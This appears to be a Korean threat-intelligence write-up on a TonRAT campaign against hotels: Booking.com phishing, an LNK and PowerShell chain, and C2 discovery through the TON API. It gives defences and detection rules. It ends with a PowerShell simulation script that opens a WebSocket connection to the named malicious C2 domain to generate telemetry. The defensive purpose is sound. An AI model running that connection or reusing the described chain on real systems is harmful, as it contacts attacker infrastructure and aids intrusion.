호텔 산업을 겨냥한 의심스러운 이메일의 기술적 분석
Detection stack
- AIDR
- Alert
- ETL
- Query
요약
복잡한 다단계 악성코드 캠페인이 Booking.com 알림으로 가장한 이메일을 통해 호텔 섹터를 노리고 있습니다. 침투 체인은 악성 LNK 파일, PowerShell 스크립트, 그리고 TonRAT로 알려진 Node.js 기반 원격 접근 트로이목마를 결합합니다. 이번 작전에서 가장 주목할만한 점은 The Open Network (TON) API를 사용하여 명령 및 제어 도메인을 동적으로 획득하는 것인데, 이는 전통적인 도메인 기반 차단을 덜 신뢰하게 만듭니다.
조사
조사 결과, 초기 ZIP 아카이브가 LNK 파일을 포함하며, 이 파일이 PowerShell을 실행하여 2차 스크립트를 가져오는 계층화된 실행 흐름이 밝혀졌습니다. 해당 스크립트는 AES를 사용하여 TonRAT로 식별된 JavaScript 페이로드를 복호화하고, 에서 다운로드한 정식 Node.js 런타임을 통해 실행합니다. nodejs.org. 활성화되면 악성코드는 WebSocket 기반 명령 및 제어 통신을 시작하며, 이는 TON 블록체인 API 요청에서 가져온 도메인 정보를 사용합니다.
완화
권장 방어책에는 PowerShell 실행 제한, Node.js 런타임 (node.exe)의 무단 사용 모니터링, 비정상적인 WebSocket 트래픽 탐지가 포함됩니다. 조직은 또한, tonapi.io에 대한 연결을 주의 깊게 관찰하고, 호텔 직원에게 향한 위조 도메인, 의심스러운 첨부 파일 및 피싱 미끼를 포착하기 위해 이메일 필터링을 강화해야 합니다.
대응
침해가 의심될 경우, 보안 팀은 추가적인 명령 및 제어 트래픽과 데이터 유출을 방지하기 위해 즉시 영향을 받은 엔드포인트를 격리해야 합니다. PowerShell 운영 로그 및 프로세스 실행 기록을 검토하여 무단 node.exe 활동을 확인해야 합니다. 또한, TonRAT의 JavaScript 해시가 알려진 경우에 대비하여 포렌식 검사를 수행하고 식별된 명령 및 제어 인프라에 대한 모든 연결을 조사해야 합니다.
"graph TB %% Class Definitions Section classDef action fill:#99ccff classDef tool fill:#cccccc classDef malware fill:#ff9999 classDef process fill:#ccffcc %% Node Definitions action_phishing["<b>Action</b> – <b id='T1566.002'>T1566.002 Phishing: Spearphishing Link</b><br/>Description: Attackers send emails impersonating Booking.com<br/>containing links to download a malicious ZIP file."] class action_phishing action action_execution["<b id='T1204.002'>T1204.002 User Execution: Malicious File</b><br/>Description: User executes a .lnk file contained within the ZIP archive."] class action_execution action process_cmd["<b id='T1059.003'>T1059.003 Command and Scripting Interpreter: Windows Command Shell</b><br/>Description: Triggered via PowerShell command using Invoke-WebRequest<br/>to download a secondary script."] class process_cmd process malware_script["<b id='T1027'>T1027 Obfuscated Files or Information</b><br/>Description: PowerShell script LE3f0MRT.ps1 uses AES encryption<br/>to decrypt a JavaScript file (TonRAT)."] class malware_script malware action_transfer["<b id='T1105'>T1105 Ingress Tool Transfer</b><br/>Description: Malware downloads a legitimate Node.js runtime<br/>from nodejs.org to execute the payload."] class action_transfer action action_indirect["<b id='T1202'>T1202 Indirect Command Execution</b><br/>Description: Used to maintain persistence and evade detection."] class action_indirect action action_resolution["<b id='T1568'>T1568 Dynamic Resolution</b><br/>Description: Queries the TON API (tonapi.io) to retrieve<br/>the Command and Control C2 domain."] class action_resolution action malware_tonrat["<b id='T1568'>T1568 Command and Control</b><br/>Description: TonRAT establishes communication via WebSocket<br/>using an ECDH handshake for encrypted C2."] class malware_tonrat malware %% Connections action_phishing –>|leads_to| action_execution action_execution –>|triggers| process_cmd process_cmd –>|downloads| malware_script malware_script –>|performs| action_transfer action_transfer –>|enables| action_indirect action_indirect –>|performs| action_resolution action_resolution –>|resolves_C2_for| malware_tonrat malware_tonrat –>|allows| action_indirect "
공격 흐름
탐지
숨겨진 PowerShell 명령줄을 통한 실행 가능성 (cmdline 통해)
보기
가능한 PowerShell 난독화 지표 (powershell 통해)
보기
가능한 지속성 위치 [ASEPs – 소프트웨어/NTUSER Hive] (registry_event 통해)
보기
바이패스 실행 정책을 사용하여 의심스러운 디렉토리에서 파일 실행 (cmdline 통해)
보기
비일상적인 위치에서 실행되는 NodeJS 바이너리 (cmdline 통해)
보기
Windows Defender 환경설정 의심스러운 변경 (powershell 통해)
보기
의심스러운 지휘 및 제어: 비상식적인 최상위 도메인 (TLD) DNS 요청 (dns 통해)
보기
TON API 알림을 통해 TonRAT에서 WebSocket C2 통신 탐지 [Windows 네트워크 연결]
보기
악성 파일 다운로드 및 실행을 위한 PowerShell 명령 [Windows PowerShell]
보기
시뮬레이션 실행
필수 사항: 텔레메트리 및 기준 프리플라이트 검사에 통과해야 합니다.
논리: 이 섹션은 탐지 규칙을 트리거하기 위해 설계된 적의 기술적 방법(TTP)의 정확한 실행을 자세히 설명합니다. 명령과 이야기는 식별된 TTP와 직접 반영되어야 하며 탐지 논리에 의해 기대되는 정확한 텔레메트리를 생성하는 것을 목표로 합니다. 추상적이거나 관련 없는 예제는 오진으로 이어질 것입니다.
-
공격 서사 및 명령: 적은 WebSocket 기반의 Command and Control (C2) 채널을 설정하고자 합니다. 정당한 트래픽과 섞이기 위해 악성코드는 먼저 C2 인프라를 해석하기 위해
tonapi.io서비스와 쿼리를 수행합니다. “정당한” API 상호작용이 확립되면, 악성코드는 WebSocket 핸드셰이크 (wss://)를 하드코딩된 악성 도메인zloapobikahy23.bond로 시작합니다. 이 시퀀스는 TON API의 평판을 활용하여 이후의 악성 연결을 숨기기 위해 설계되었습니다. -
회귀 테스트 스크립트:
# TonRAT WebSocket C2 통신 시뮬레이션 # 1단계: TON API와의 상호작용 시뮬레이션 Write-Host "[+] tonapi.io와의 상호작용 시뮬레이션 중..." $api_url = "https://tonapi.io/v2/blockchain/accounts/EQ..." Invoke-WebRequest -Uri $api_url -Method Get -UseBasicParsing # 2단계: 악성 C2 도메인으로의 WebSocket 연결 시뮬레이션 # 참고: 'wss://' 및 도메인 논리를 트리거하기 위해 PowerShell 클라이언트를 사용하여 WSS 요청을 시작 Write-Host "[+] 악성 도메인으로의 WebSocket 연결 시뮬레이션 중..." $c2_url = "wss://zloapobikahy23.bond/control" # .NET WebSockets 클라이언트를 사용하여 'wss://'가 텔레메트리에 나타나도록 보장 $ws = New-Object System.Net.WebSockets.ClientWebSocket $cts = New-Object System.Threading.CancellationTokenSource $uri = New-Object System.Uri($c2_url) try { $task = $ws.ConnectAsync($uri, $cts.Token) # 성공적인 연결이 필요하지 않으며, 로그 생성을 위한 시도만 필요 $task.Wait(5000) } catch { Write-Host "[!] 도메인이 존재하지 않기 때문에 예상대로 연결 실패, 그러나 텔레메트리는 생성되어야 합니다." } finally { $ws.Dispose() } -
정리 명령:
# 이 스크립트에 의해 생성된 지속적 아티팩트는 없지만, 콘솔을 정리합니다. Clear-Host Write-Host "시뮬레이션 정리 완료."